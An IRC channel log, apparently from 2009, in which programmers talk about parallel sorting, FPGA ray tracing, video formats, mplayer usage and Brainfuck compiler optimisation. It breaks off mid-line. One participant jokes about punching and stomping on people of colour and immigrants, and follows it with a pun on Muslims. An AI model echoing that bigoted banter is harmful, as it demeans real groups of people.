amount of energy in his voice 23:44:00 HE SHOULD DRINK SOME POWERTHIRST 23:44:16 also, too much PARALLEL 23:44:26 erlang is all about PARALLELISM. 23:44:39 PARALLEL search on your PETABASE sorted IN PARALLEL. 23:44:56 lol 23:44:58 this is ridiculous 23:45:21 this is poorly thought out 23:45:33 so's your faec. 23:45:35 face 23:45:41 oh no mah faec 23:45:42 D: 23:45:47 i liked it tho 23:46:10 ehird, actually sorting in parallel with mapreduce is fun 23:46:18 I have done it in erlang of course 23:46:24 mapreduce isnt just map + reduce innit 23:46:24 "sorting in parallel" by itself is impossible 23:46:29 well, quite impossibl 23:46:30 e 23:46:31 its map + sort-into-buckets + reduce 23:46:32 across multiple nodes 23:46:33 ehird, no 23:46:37 ehird, mergesort 23:46:43 AnMaster: that's not sorting every element in parallel 23:46:46 can be made parallel 23:46:59 psygnisfive: no, it's just map/reduce 23:47:14 ehird, of course not fully, but reduces workload 23:47:16 nuh ehird 23:47:21 its also got a sort component 23:47:23 since combining two sorted lists is easy 23:47:36 psygnisfive: maybe google map reduce 23:47:42 yeah google mapreduce. 23:47:46 dunno of any other 23:47:55 actually. I was talking of google style map reduce 23:47:59 in this case 23:48:04 hadoop specifically, i think, has it. 23:48:08 rather than the two functions map and fold 23:48:25 duh 23:48:52 ehird, ? 23:48:55 mapreduce is kinda cool tho 23:49:00 23:48 AnMaster: rather than the two functions map and fold 23:49:03 i knew that 23:49:08 but there are non-google implementations of MapReduce 23:49:12 ehird, yes that is the alternative meaning I can think of 23:49:19 i watched a SICP class from berkeley and the prof demoed hadoop 23:49:23 which is what I meant by "maybe google map reduce" 23:49:24 or taught about it, anyway 23:49:29 it was quite interesting 23:49:34 ehird, well yes. I'm using an implementation in erlang then 23:49:36 especially with the scheme interface 23:49:51 but for sorting you of course need a sorting step 23:49:57 I think that is what we were talking about 23:50:00 ... 23:50:15 map/reduce isn't really applicable to sorting 23:50:20 other than that there wouldn't be any sort involved 23:50:25 since it's hard to do a sort efficiently with reduce 23:50:29 and map is rather useless for it 23:52:07 ehird, what about merge sort 23:52:21 AnMaster: that's not a pure reduce 23:52:27 ehird, true. 23:52:59 hmm with 85% tdp utilization for the cpu, 90% system load and no capacitor aging, http://extreme.outervision.com/PSUEngine says my system will use 328 watts 23:53:07 but tweaking a bit puts it over 430W 23:53:08 ehird, anyway I would suggest quickmergesort, merge sort to split load across the number of nodes/cpus. Then each node/cpu doing it's own sorting with heap sort 23:53:10 ok im off for a while guys 23:53:10 err 23:53:11 see ya 23:53:11 i wonder 23:53:12 or quicksort 23:53:15 -!- psygnisfive has quit ("Leaving..."). 23:53:16 -!- ais523 has quit (Read error: 104 (Connection reset by peer)). 23:53:17 Deewiant: know anything like that? 23:55:37 ehird, anyway, I much prefer sorting networks 23:55:51 a pitty it needs specialised hardware 23:56:59 fpga? 23:57:21 ehird, that is slow 23:57:22 :P 23:57:42 AnMaster: fpgas can raytrace at 5fps 23:57:45 that's not slow. 23:57:58 ehird, compared to ASIC it is 23:58:09 AnMaster: do you have any idea how hard raytracing is 23:58:10 ? 23:58:10 ehird, where are GPUs that can do way better 23:58:13 5fps is basically a miracle 23:58:14 there* 23:58:14 LOL 23:58:15 no 23:58:20 ehird, the last ones yes. 23:58:20 you cannot do 5fps raytracing with gpus 23:58:39 there's a reason there's a whole company based around their realtime-raytracing FPGAs 23:58:46 and it's that it's way ahead of anything else 23:58:49 ehird, I have seen software ray tracing on a i686. Demo guy made it 23:59:07 at 6 FPS iirc 23:59:08 Yes, there are demos with it. But the scenes they render are simple, and the quality is not high. 23:59:17 ehird, yeah 23:59:20 these do 5-10FPS for high-quality images 23:59:24 as in, same quality as end result 23:59:37 so, yes. FPGAs are fast. 23:59:46 ehird, what about Larrabee 23:59:49 spelling 2009-05-20: 00:00:02 Nobody knows shit about Larrabee, so nothing can be predicted. 00:00:12 I doubt it can raytrace in realtime. 00:00:18 ehird, there was some talk from intel about ray trace on it 00:00:29 AnMaster: Even so. 00:00:37 If Intel can do it at 10fps, fine. 00:00:40 But an FPGA does it at 5. 00:00:45 And that's still wicked performance. 00:01:04 ehird, I want it done at 40 FPS or so 00:01:10 then I may be interested 00:01:11 AnMaster: HAHAHAHAHAHA 00:01:13 buy a time machine 00:01:21 AnMaster: it's impossible. This is not for using in games. 00:01:26 This is for people working on e.g. car designs. 00:01:39 ehird, true. But 5 FPS isn't "real time" 00:01:49 AnMaster: It does in 5FPS what normally takes an hour. 00:01:51 That is real time. 00:02:02 ehird, and can't you do it in parallel 00:02:16 Gee, that's lovely and meaningless. Let's throw "parallel" after every word. 00:02:32 ehird, iirc you can. So just throw more FPGAs at it 00:02:40 AnMaster: Yes, with a gigantic render farm, you could match the 5 FPS that a single FPGA handles. 00:02:48 And you say that FPGAs are slow? 00:02:57 ehird, um... I'm not comparing it to CPUs 00:03:10 rather to an array of Nvidia Tesla 00:03:32 AnMaster: Woo, for way more cost you can get way more power-hungry equipment that can match an FPGA. 00:03:34 or whatever is their fastest one currently 00:03:35 FPGAs are so slow. 00:03:49 ehird, FPGAs are slow compared to ASIC 00:03:52 Yes. 00:03:52 says wikipedia 00:03:55 Compared to ASIC. 00:03:56 But they are not slow. 00:04:02 ehird, which is what I was comparing to 00:04:04 anyway 00:04:09 5FPS ray tracing is not slow by any stretch of the imagination. You could do sorting networks in FPGA just fine. 00:04:14 why can't you then use SEVERAL FPGAs to speed it up 00:04:31 Ask them 00:04:35 maybe each rendering part of the frame 00:04:41 or rendering different frames 00:07:19 ehird, is it this http://www.eecg.toronto.edu/~fender/pdfs/raytrace_fender.pdf ? 00:07:26 was the first hit I found for ray trace FPGA 00:07:33 AnMaster: http://www.caustic.com/ 00:15:34 fizzie: what res is that lg thing again? 00:18:19 the TV? 00:18:56 no 00:18:59 the monitor he uses 00:19:03 it had a tuner right 00:19:06 thus a tv 00:19:07 no 00:19:12 that one is a different one 00:19:14 which one had a tiner 00:19:16 tuner* 00:19:20 i don't know and I don't care 00:29:34 AnMaster: Yes, mowing. As in "lawn mower". 00:29:50 ah 00:29:57 why is it called mower 00:30:06 looks like a typo for "mover" 00:30:16 (I know it isn't but...) 00:30:23 Erm. context? 00:31:01 ehird, some hours before 00:31:03 Because it's a machine to mow. 00:31:05 ehird: I went out to mow. 00:31:08 ah. 00:31:11 An hour ago. 00:31:14 pikhq, why "mow" 00:31:18 why not "mov" 00:31:29 etymology 00:31:58 AnMaster: Because what Edwin Budding decided to call it. 00:32:02 Erm. 00:32:03 That's what. 00:32:17 who 00:32:19 Why "mov 00:32:20 "? 00:32:26 He invented the mower. 00:32:29 ah 00:32:33 Edwin Beard Budding (1795–1846), an engineer from Stroud, England, was the English inventor of the lawnmower (1830) and adjustable spanner. [1] 00:34:53 Before that, one could maintain maintain a lawn using a scythe... 00:47:09 playing with CUDA will be fun 00:47:16 i'll multiply matrices and stuff. 00:48:26 1920x1200. 00:48:53 Bought it a bit before the unsurprising proliferation of 1920x1080 screens, which seems to have happened recently. 00:49:10 Oh, and 94 dpi if you want actual resolution-resolution. 00:49:11 fizzie: Right. I assume 1080p media just gets two lil' bars? 00:49:23 Yes. I don't mind the bars. 00:49:27 Those probably aren't 1920x1080; most PC monitors are 16:10, not 16:9. 00:49:27 Mind, the gap. 00:49:32 pikhq: Nope. 00:49:37 Real 1080p monitors. 00:49:39 There are many 16:9 PC monitors nowadays. 00:49:45 ehird: Oh, they decided to have 16:9 monitors? 00:49:47 But I don't like screens *that* wide. 00:49:49 It's the latest craze. 00:49:51 pikhq: For the HD craze. 00:49:57 Good; seems dumb to have 16:10 monitors. 00:50:00 But yeah, I want 1920x1200; it's the more monitor-y resolution. Games, etc. 00:50:03 pikhq: No way. 00:50:10 Sure, the ultra-wideness is nice for movies and shit. 00:50:14 But for actual computing? 00:50:21 16:9 is gonna seriously cramp you vertically. 00:50:31 16:10 was chosen because it had little black bars for 16:9 content. 00:50:32 ... That's it. 00:50:45 pikhq: I don't care how it was chosen; it works well. 00:51:08 I don't have a firm opinion on how much the difference actually matters; I rather like the fact that I could put my 1920x1200 screen next to the 1600x1200 4:3 screen, and get a nice not-non-rectangular desktop out of it. 00:51:44 16:9 is very good for movies and stuff. Very realistic and whatnot. But I like the additional vertical headroom— I deserve height, dammit. 00:53:06 I haven't actually tried any 1080 pixels high screens, so can't really comment. But I don't really grok what sort of real disadvantages the 16:10 ratio should have. (I haven't noticed any.) 00:53:36 fizzie: It's just got dumb reasoning is all. 00:53:53 Who cares about reasoning? It's the results that matter 00:54:41 wide screens are good for viewing multiple documents or terminals side-by-side 00:54:49 The ratios are so arbitrary anyway. I guess there's "native" 16:9 content (esp. direct-to-TV stuff), but do they actually squeeze released movie-movies to that ratio? 00:55:05 RodgerTheGreat: they're good for just about anything— but 16:9 is just too wide vs height to be usable IMO. 00:55:11 for computer usage 00:55:14 hm 00:55:22 fizzie: Movies are 16:9, yes. 00:55:25 In general. 00:55:27 On DVD and such that is. 00:55:32 Widescreen TV> 00:55:33 *. 00:55:56 That sounds strange; how do they do it, since the movies-in-a-movie-watching-place are something absurdly wide? 00:56:05 Flagrantly cropping? 00:56:12 Two 136x90 terminals side-by-side is my most common content on the 1920x1200 screen. 00:56:50 For a single full-screen web browser it's a bit disturbingly wide. 00:56:51 On this dinky "1050p" 16:10 20" screen I have three Safari windows with tabs, only one of which is really visible, and an IRC client in the lower-right corner. 00:56:55 They are frolicking. 00:56:59 And I refuse to use full-screen windows. 00:57:22 Well, I'm one of those tiling-wm crazies. 00:57:26 Funny, most movies I see on DVD and Blu-Ray are letter-boxed. 00:57:43 fizzie: There's also native (roughly) 16:9 movies. 00:57:53 00:57 pikhq: Funny, most movies I see on DVD and Blu-Ray are letter-boxed. ← really? 00:57:54 lameo 00:57:58 And also native 4:3 movies. 00:58:01 I don't really buy digital content so I didn't know 00:58:15 * ehird checks a site of pirates to see the kind of resolutions 00:58:26 Original aspect ratio, bitch. ;) 00:58:35 night 00:58:51 pikhq: Here's an odd one: 1824x992. 00:58:59 I own a single movie on DVD: Miyazaki's Totoro, bought for 6 eur from a sales bin, mostly because CAT BUS. 00:59:05 It's a blu-ray rip, cropped since there were black bars on *all 4 sides*. 00:59:12 (4:3 was the original Academy ratio, then they moved to nearly 16:9, then they went wider. 16:9 was chosen by the ATSC group as a compromise). 00:59:13 THE FAILURE, OH THE FAILURE. 00:59:15 ehird: *What*? 00:59:18 pikhq: yep 00:59:18 That is failure. 01:00:05 Hmm. A whole 76 pixels on the sides and 88 pixels on the top and bottom. 01:00:10 Why the hell? 01:00:24 Here's an actual blue-ray rip. 01:00:27 1920x1040. 01:00:30 WTFomatic. 01:00:41 ehird: Original aspect ratio. 01:00:47 Also, why the hell do modern HDTVs have overscanning? 01:00:54 Yes, that's right. Overscanning. 01:00:56 pikhq: Yeah, but, black bars, man. Even on 1080p screens. 01:01:23 pikhq: Ahh, our shitty 21" CRT TV does overscanning badly, I think. The sides get chopped off the image. 01:01:28 Least I think that's it. 01:01:38 An LCD 1080p TV will (in some cases) do minor upscaling so it can chop off a few pixels. 01:01:58 Upscaling a picture it can display *natively*. 01:02:19 pikhq: 16:9 DVDs seem to be 704x480. 01:02:26 That is uncomfortably low. 01:02:44 ehird: Uh... That's completely bizarre, given that that's the resolution of 4:3 DVDs. 01:02:51 16:9 DVDs are supposed to be 720x480. 01:02:54 And yes, it is low. 01:02:55 Oh, hm. 01:03:02 SDTV is low. 01:03:30 "Video: h.264 (4:3)" 01:03:32 Real helpful that 01:03:40 720x576 or something for PAL, one would assume. 01:03:47 fizzie: Yes. 01:03:58 pikhq: These 704x480 widescreens appear to be anamorphic. 01:04:07 Meaning...blackbarred. 01:04:20 ehird: As are 720x480 16:9 DVDs. 01:04:24 Wait, no. Hmm. 01:04:28 And 704x480 4:3 DVDs. 01:04:29 Ahhhhhh. 01:04:33 SDTV is anamorhpic. 01:04:38 pikhq: 704x480 16:9 anamorphic means "stretched". 01:04:46 As in, you have to squish it back to the proper 16:9 to play it. 01:04:54 But it's stored as squashed/stretched 704x480. 01:04:57 Why? No. Fucking. Clue! 01:05:10 You do realise that the same applies for 4:3, right? 01:05:16 AAAAAAAAAAAAAAAAAAAAAA 01:05:18 -!- inurinternet has quit (Success). 01:05:20 I HATE VIDEO FORMATS 01:05:22 SDTV with square pixels would be 640x480. 01:05:25 THEY ARE RETARDED 01:05:51 HDTV is an attempt to make it non-retarded. 01:05:56 Square pixels are so square. 01:05:58 ... And people are still being dumb with it. 01:06:23 We should just have square fucking pixels with unsquashed video in the resolution and aspect ratio it's actually going to be played back on. 01:06:27 GOD. 01:06:35 ehird: Yeah. 01:07:00 I'll give the DVD spec some slack, because it still has to deal with the standards set in the 50s. 01:07:44 But everything that's not SDTV? Come on, just use fucking square pixels and encode it in the right aspect ratio. 01:07:50 There is *no reason* to encode freaking black bars. 01:08:06 pikhq: If I recall correctly, my father was present at the consortium-meeting-things that defined DVD. 01:08:11 Representing some sort of company or another. 01:08:20 So I will take my anger out on him. :-P 01:08:30 ehird: I wouldn't. 01:08:39 He is clearly an agent of the devil. 01:08:43 Evidence: DVD. 01:08:49 The DVD has to deal with legacy formats. 01:08:54 Phooey. 01:09:27 720x480 is the only time I will accept anything but square pixels in the right aspect ratio. 01:10:18 I seem to have a video file that has the resolution 660x362, but I think that's trying to match original 1.82 aspect ratio in the content, scaled down to some rather random number. 01:11:17 fizzie: does mplayer automatically handel anamorphic shit? 01:11:18 it should 01:11:29 As far as I know it does. 01:11:44 Assuming the container format is intelligent enough to encode the aspect ratio that it should be played at. 01:11:45 ehird: It's the first one to handle it properly. 01:11:47 that's nice 01:11:59 It's the only one that handles it right on AVI. 01:12:03 mplayer seems to be very good at "give me a file, I'll play it properly" 01:12:08 Well, other ffmpeg-based player might also do it right. 01:12:15 Yeah, that's what mplayer's great at. 01:12:30 It's also a rather good encoder, if you're willing to mess with the command line. 01:12:54 It seems less good at "five me an URL, I'll play it properly"; at least there's been a couple of strange asf/mms/whatever-streams only VLC could play for me. 01:13:01 s/five/give/ 01:13:34 pikhq: you mean mencoder? 01:13:34 fizzie: You have to add the -playlist argument for those, I think. 01:13:40 ehird: Yuh. 01:13:44 I've always wondered how to rip a DVD without reencoding it. 01:13:52 As in, just gimme the damn data in the standard MPEG2 format! 01:14:11 "-oac copy -ovc copy" could be suitable mencoder magic. 01:14:24 mm 01:14:41 ehird: mplayer -dumpstream -dumpfile foo.vob 01:14:48 Doesn't even remux it. 01:14:49 pikhq: that's a .vob 01:14:52 not an .mpeg thing 01:14:56 Yes. 01:15:00 I want an .mpeg :-P 01:15:05 That's the DVD on-disk format. 01:15:07 But WITHOUT reconverting. 01:15:11 Just stuff-it-into-the-container. 01:15:14 Technically, .mpeg would also be a valid extension. 01:15:18 Oh? 01:15:21 A .vob is a valid .mpeg? 01:15:33 pikhq: is dumpstream fast? 01:15:35 A .vob is a MPEG transport stream. 01:15:36 it would seem like it'd go in realtime 01:15:45 also, I want a regular video-style .mpeg 01:15:48 like downloaded from the interwebs 01:16:02 Dumpstream says "instead of playing it, dump that shit to disk as fast as you can." 01:16:06 Ah. 01:16:15 But what about .mpeggggg 01:16:18 The web says: "Program streams are used on DVD video discs and HD DVD video discs. The file extensions are VOB and EVO respectively. Blu-ray Discs use a transport stream (TS) format with an additional 4 byte time code added to the beginning of each TS packet." 01:16:31 And it claims that a .vob file is actually an MPEG-PS. 01:17:00 Not my area of expertise, though. I do know that the DVB broadcasts we get from digital TV are MPEG transport streams. 01:17:12 "mplayer -dumpstream -dumpfile foo.mpeg dvd://1" might work then. 01:17:51 At least mplayer'll play the result. :p 01:17:55 Seriously have to sleeps now. 01:18:01 Bai. 01:18:06 Baa-baa. 01:19:12 Erm, right. MPEG-PS, not TS. 01:19:26 pikhq: wat 01:19:38 Just aggreing with fizzie. 01:20:09 ah. 01:30:09 -!- kerlo has joined. 01:30:15 Well, I guess I have to find this out at some point. 01:30:19 What do I do with a .cpp file? 01:30:39 g++? 01:33:09 kerlo: You always surprise me with your lack of programming knowledge... 01:33:23 how can you not know how to compile a .cpp file and yet own and administrate a virtual server? 01:34:49 pikhq: gracias. 01:35:00 kerlo: Windows guy? 01:35:03 ehird: by paying $25 a month and yet not having much experience. 01:35:11 pikhq: si. 01:35:25 kerlo: Fix that. 01:35:37 * pikhq tosses kerlo a nickle for the blank media 01:35:38 Uh oh, now we have to listen to a windows guy justify his choice 01:35:44 Take cover! 01:36:19 ehird: Almost as bad and archaic as hearing a SLS guy justify his choice. 01:36:22 :p 01:36:31 pikhq: No, no— Yggdrasil. 01:36:33 SLS? 01:36:40 Sgeo: softlanding linux system 01:36:42 ancient linux distro 01:36:43 1992 01:36:44 Sgeo: The original distro. 01:36:56 "Yggdrasil was the first company to create a Live CD Linux distribution" 01:36:57 It's very fucking old. 01:36:58 Before 1995. 01:37:10 By "old", I mean "Slackware is a *fork* of it". 01:37:11 They charged for it 01:37:14 :-) 01:37:22 linux boot cd in 1992 01:38:03 ehird: I believe that last time, I justified my choice because you asked me to. 01:38:12 So no, you don't have to listen to me justify my choice again. 01:38:13 did you? 01:38:14 I don't recall 01:38:17 I don't have much of a memory 01:38:22 oh 01:38:28 kerlo: It was "Windows does everything I want", right? 01:38:30 kerlo: You still use Windows, so it can't have been a valid justification. 01:38:34 Only the worst argument for using Windows ever. 01:38:47 Actually, you listed... about 2 things Windows can't do that Linux could. 01:38:52 Which makes it an even worse argument. 01:39:11 I think it was that. 01:39:40 pikhq: Let's woe together about Windows users. 01:39:42 Yes, woe is a verb. 01:40:04 ehird: Let's. 01:40:08 * ehird woes. 01:40:19 * pikhq laments 01:40:40 lament: let's woe. 01:41:19 * pikhq woes 01:41:29 Should I find this funny or be sympathetic? 01:41:38 kerlo: You should woe. 01:41:46 * kerlo woes. 01:41:53 kerlo: Woe at yourself. 01:42:04 Then fix cause-of woe-from us. 01:42:53 * kerlo woes, and does not switch to Linux. 01:43:09 * pikhq beats kerlo with a real operating system. 01:43:16 Pick one, they're all more real than Windows. 01:43:25 Yes, including DOS. 01:43:46 * ehird punches kerlo and stomps on him. Drastic measures for (a) coloured people (as long as the colour isn't white), (b) immigrants and (c) Windows users. 01:44:02 The scummery and villanry of modern society! 01:44:30 Also, (d) Muslins. Death to fabric. 01:46:10 Ahem. 01:48:03 * Sgeo switched from Linux to Windows. What does that make me? 01:48:14 Sgeo: Benjamin Button. 01:48:16 Sgeo: Masochist. 01:48:30 pikhq: I prefer mine. 01:48:32 Sigh. I hate web sites where the password you have to use to log in is different from what you set your password to when you register. 01:48:48 what 01:49:08 I picked the password foo\bar. The account activation email told me my password was foo\\\\bar. My actual password ended up being foo\\bar. 01:59:04 -!- Gracenotes has joined. 02:00:46 bye 02:00:48 -!- Corun has quit. 02:16:49 -!- Gracenotes has quit (Read error: 104 (Connection reset by peer)). 02:18:55 -!- Gracenotes has joined. 02:30:29 -!- coppro has joined. 02:45:59 -!- bsmntbombdood_ has quit (Read error: 60 (Operation timed out)). 02:52:26 http://icehot.files.wordpress.com/2009/05/humor-linux.jpg 02:57:17 -!- bsmntbombdood_ has joined. 03:27:02 -!- inurinternet has joined. 03:45:49 -!- GregorR-L has quit (Read error: 60 (Operation timed out)). 04:14:12 mplayer will play _anything_ 04:16:34 I thought that was VLC? 04:17:23 -!- GregorR-L has joined. 04:23:45 -!- RodgerTheGreat has quit. 04:30:49 meh. mplayer's scaletempo has failed for me 04:31:22 compiling... different flags... repository needs updates... nonfree packages... o_o 04:31:24 why would you want to do that? 04:31:54 so I can listen to audio and watch video at a rate I find more engaging 04:32:09 that sounds awful 04:32:26 better to spend 30-something minutes on a lecture than an hour 04:32:47 unless you are listening to speech manybe 04:32:50 it is wonderful 04:33:18 for books on tape and video or audio lectures for computer science, not movies or anything. 04:33:27 or math 04:43:38 -!- GregorR-L has quit (Read error: 60 (Operation timed out)). 04:47:58 but, alas, no such option exists 04:48:14 so I have to listen with the pitches screwed up, like a sixth or seventh up. 04:55:24 how does it work otherwise? 05:35:18 Gracenotes, some MIDI players do what you want >.> 05:35:37 bsmntbombdood_, speeding it up and lowering the pitch in the opposite direction? 05:58:44 Sgeo: how do you lower pitch? 05:59:34 bsmntbombdood_, I'm assuming it's possible. Maybe it isn't without slowing things down 06:16:32 one can lower pitch by transposing one pitch to another 06:16:38 (just got out of shower) 06:17:02 with MIDI files, this is very easy, since the internal representation is notes, not the sounds themselves 06:17:32 for wav/mp3/etc. there are various properties of sound you can exploit to do it... 06:18:03 obviously it's possible, since mplayer has a feature, just not here >:| 06:18:36 i don't get it 06:20:31 -!- kar8nga has joined. 06:26:12 bsmntbombdood_: about the pitch? 06:26:19 yeah 06:27:54 afaik, you can either speedup+raise pitch or slow down+lower it. And you can calculate how much you raised/lowered the pitch mathematically and reverse that amount. 06:28:49 there is possibly an algorithm that combines these steps.. otherwise the quality might be lowered. I am not terribly familiar with sound science >_> 06:29:26 MIDI files are different entirely: instead of storing WAVs, they store discrete notes, noting exactly where they start and end and splitting them up into separate tracks 06:29:34 *waves 06:30:24 for example, a note might have the pitch C4. So to transpose it down an octave, just change it to C3, and likewise for all other notes. 06:31:25 or to speed up, just change the tempos used throughout the song accordingly. 06:31:37 which is an explicit variable, for tempo. 06:32:18 well obviously midi is easy 06:33:45 I know more than a few people who speed up lectures this way 06:34:22 are able to absorb content faster. It works for me too, but without the pitch correction it can get annoying. 06:34:50 well, sure 06:41:36 i just don't understand the mechanics 06:42:44 I can't say I do entirely either. From a musical perspective at least (playing piano), pitch can be modeled nicely mathematically 06:50:18 Should I try M*U*S*H? 06:55:09 http://www.somethingawful.com/d/news/wolfram-alpha.php 06:56:47 -!- Sgeo has quit ("Leaving"). 06:59:38 -!- kar8nga has quit (Remote closed the connection). 07:38:13 Yes, you can do both the speed-up-without-pitch-changes and alter-pitch-without-tempo-changes operations to generic digital audio, though you're always going to get some artifacts. 07:41:16 http://en.wikipedia.org/wiki/Audio_timescale-pitch_modification seems to be a (rather variable-quality) article about it. 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:05:22 Speaking of memory cards (though the discussion ended a long ago, I guess), it seems that they've started to make 16 GB MicroSD(HC) cards since the last time I looked (when they went up to 8). That's the crazy. 08:11:27 -!- Slereah has joined. 08:17:05 -!- tombom has joined. 08:43:14 -!- bsmntbombdood has joined. 08:44:02 -!- bsmntbombdood_ has quit (Read error: 104 (Connection reset by peer)). 08:44:09 ....my computer just crashed 09:03:25 -!- GregorR-L has joined. 09:21:04 -!- oklodok has joined. 09:21:35 -!- oklodok has set topic: international tub http://tunes.org/~nef/logs/esoteric/. 09:22:28 The international tub of esoteric language developers. 09:24:29 * bsmntbombdood soaps of oklodok 09:24:48 i wonder what all of his suffixes mean 09:24:55 -!- oklodok has set topic: The international tub of esoteric language developers. Consider feasting on http://tunes.org/~nef/logs/esoteric/. 09:25:17 most of my suffices are just english words 09:25:24 this one is a duck. 09:25:37 i also have other birds like kok 09:27:57 fok is a hawk, f and h are the same character in finnish, for some values of lying my ass off 09:35:42 What's oklowob, then? 09:38:07 i'm not nearly as good with birds as my subconscious, no idea. 09:38:24 warbler or something? 09:55:30 -!- oerjan has joined. 09:56:36 hi oerjan 09:56:56 was the food you ate last bitter 09:56:56 hi oklodok 09:57:17 * oerjan just finished a slice with strawberry jam, so no 09:57:24 mmm 09:57:36 ima eat like noodles and meat today. 09:57:47 * oerjan now starts on the liver paté 09:57:57 i don't consider that bitter either 10:00:32 oh noes we're a tub now 10:01:55 well would you rather be in a cub or a rub? perv. 10:02:32 shit, the ai wins me in two rounds. 10:03:02 and here i thought i was special 10:03:21 rub a dub dub 10:20:57 How would you like to rub-a-dub-dub in my tub 11:15:51 oklodok, it wasn't bitter. It was butter (well, mostly bread, but that isn't as funny) 11:37:20 -!- oklodok has quit (Read error: 110 (Connection timed out)). 12:00:36 -!- KingOfKarlsruhe has joined. 12:11:54 -!- oerjan has quit (anthony.freenode.net irc.freenode.net). 12:11:54 -!- kerlo has quit (anthony.freenode.net irc.freenode.net). 12:12:33 -!- oerjan has joined. 12:12:33 -!- kerlo has joined. 12:16:38 -!- oerjan has quit (anthony.freenode.net irc.freenode.net). 12:16:38 -!- kerlo has quit (anthony.freenode.net irc.freenode.net). 12:18:36 -!- oerjan has joined. 12:18:36 -!- kerlo has joined. 12:26:10 -!- tombom has quit ("Peace and Protection 4.22.2"). 12:51:18 -!- ais523 has joined. 13:12:35 -!- MizardX has quit ("What are you sinking about?"). 13:31:05 hm 13:31:09 hi ais523 13:31:15 p[-43]=1; 13:31:15 p[-36]=11; 13:31:15 p[1]=6; 13:31:15 -do { 13:31:15 +{int i;for(i=0;i<1;i++){ 13:31:15 p[-43]+=255; 13:31:17 p[-36]+=16; 13:31:19 -} while (p[-43]); 13:31:21 +}} 13:31:29 I wonder why lostking contains a loop around that at all 13:31:30 ... 13:31:48 hmm... isn't that a repeat-once loop? 13:31:57 which is not really a loop at all 13:32:10 it could be an artifact of the way BFBASIC works 13:32:12 ais523, hm an if you mean? 13:32:41 ais523, however see the index cell is set to a constant just above 13:32:49 yes 13:32:52 so in that case it is a "dead if, once" 13:32:55 which is why the loop always iterates exactly once 13:32:57 agreed 13:32:59 dead if 13:33:09 hm 13:33:29 and getting rid of the loop bit in it will help a lot 13:33:30 since 13:33:34 p[0]=p[-36]; 13:33:34 p[-36]=0; 13:33:36 right afterwards 13:35:44 ok, this is weird 13:35:48 ais523, what is 13:35:53 the Windows computer right in front of me, which I'm not logged onto 13:35:58 is being logged into remotely by the admins 13:35:59 to do something 13:36:02 heh 13:36:08 ais523, spyware? 13:36:12 and I saw them type their username, and a concealed password 13:36:14 and why does it show up on the screen 13:36:22 and it's not spyware; it's remote keyboard/mouse control, but legitimate 13:36:29 because they installed the software to do that deliberately 13:36:29 ais523, wait... can you interact with it too? 13:36:41 AnMaster: apparently so, I just moved the mouse a few pixels 13:36:47 -!- Corun has joined. 13:36:48 but I'm not going to 13:36:51 ais523, ah 13:36:59 they logged in on a non-admin account, I think 13:37:03 oh well 13:37:17 but even if it was an admin account, I wouldn't want to get in trouble by grabbing control of the logged-in session 13:37:24 ais523, right 13:37:32 ais523, but it seems insecure 13:37:43 it is, rather 13:37:57 blame Windows for not really implementing remote sessions with a GUI 13:38:15 I imagine Windows admins would find the idea of ssh with X forwarding really alien 13:38:25 even though it would be a much easier way to accomplish what they're trying 13:38:37 hmm... the mouse pointer is teleporting, rather than moving smoothly 13:38:49 so it's not a direct interface 13:38:54 -!- lifthras1ir has joined. 13:38:59 ?TRACE({"STUPID PROGRAMMER^W^WREPEAT ONCE LOOP FOUND.",H}), 13:39:03 that seems fitting 13:39:50 -!- lifthrasiir has quit (Read error: 60 (Operation timed out)). 13:42:59 AnMaster: it seems that they loaded Excel, looked at the tools menu (presumably to verify a particular item was there), then logged off again 13:43:07 well, not quite, they're at the logoff confirm screen atm 13:43:14 mhm 13:43:22 ais523, that sounds extremely strange 13:47:45 hm handling those dead repeat once/if loops had a large cascading effect on lostking 13:48:03 from 74710 lines of output to 73376 lines. 13:48:08 that's not really that large 13:48:12 given how big it is 13:48:22 Misread "^W^WREPEAT ONCE LOOP FOUND" as "WEAR HATS [something unintelligible]" 13:48:33 ais523, 733K -> 719K 13:48:39 yes, exactly 13:48:43 ais523, but then the repeat loops are rather large 13:48:48 ais523, yes exactly to who? 13:49:03 fizzie, crazy misread :D 13:49:32 AnMaster: to you 13:49:37 ah 13:49:38 as in, 719 isn't much smaller than 733 13:51:05 next up is (if no IO, not deep and so on) flattern repeat loops. Polynom style. 13:51:20 oh and being able to convert more types to repeat loops 13:51:25 this is far from finished 13:51:46 currently it only handles index_diff = {add,255}, not even {add,1}. 13:57:32 -!- oerjan has quit ("Bus-iness"). 14:01:48 -!- Slereah has quit (Remote closed the connection). 14:20:41 -!- FireFly has joined. 14:24:17 -!- BeholdMyGlory has joined. 15:12:51 -!- MizardX has joined. 15:28:55 -!- lifthras1ir has changed nick to lifthrasiir. 15:58:57 -!- coppro has quit (Read error: 110 (Connection timed out)). 15:59:01 lifthrasiir, did you see what I said about esotope-bfc being broken on linux? 15:59:17 you can't give more than #!/path/to/program OneParameter 15:59:25 so /usr/bin/env python -O didn't work 16:03:10 -!- inurinternet has quit (Connection timed out). 16:04:00 AnMaster: okay, got it 16:05:49 -!- Corun has quit ("Leaving..."). 16:06:37 -!- Corun has joined. 16:06:53 -!- Corun has quit (Remote closed the connection). 16:10:31 -!- inurinternet has joined. 16:13:16 lifthrasiir, are you able to detect some finite loops even when the constant isn't known btw? 16:13:54 AnMaster: first transform the loop into if (some_condition) while (1); actual_loop; and get rid of if(some_condition) ... codes later. 16:14:07 lifthrasiir, hm? 16:14:34 -!- Slereah_ has quit (Read error: 60 (Operation timed out)). 16:14:35 well 16:14:47 lifthrasiir, I mean, if you don't know constant loop can in general be either finite or infinite 16:14:54 AnMaster: not yet then. 16:14:58 lifthrasiir, see http://rafb.net/p/LeOL2E65.html 16:15:19 lifthrasiir, I brute force tested it for all pairs {1..255,1..255} :P 16:15:45 if the target cell is constant, esotope-bfc removes the redundant if statement; but that's all for now. 16:16:08 -!- Slereah has joined. 16:16:26 lifthrasiir, I can mark a loop like "input [add y to cell]" as finite now, if y is an odd number. 16:16:46 lifthrasiir, which means I can move IO nodes over it 16:17:05 like, loop output_constant -> output_constant loop 16:17:31 right, finite and pure (no-IO) loop is free to move 16:17:40 lifthrasiir, yep 16:18:46 lifthrasiir, and I track if loop has input and/or output (for some reason I decided to track them as two separate parameters thinking "might be useful to know it has input but no output", but I can't think of a reason for it any longer...) 16:20:33 lifthrasiir, oh and here is a really trivial checker for is finite/infinite, less elegant than your code. But I understand how it works. 16:20:34 is_inf(Const, Diff) -> is_inf(Const, Diff, (Const + Diff) 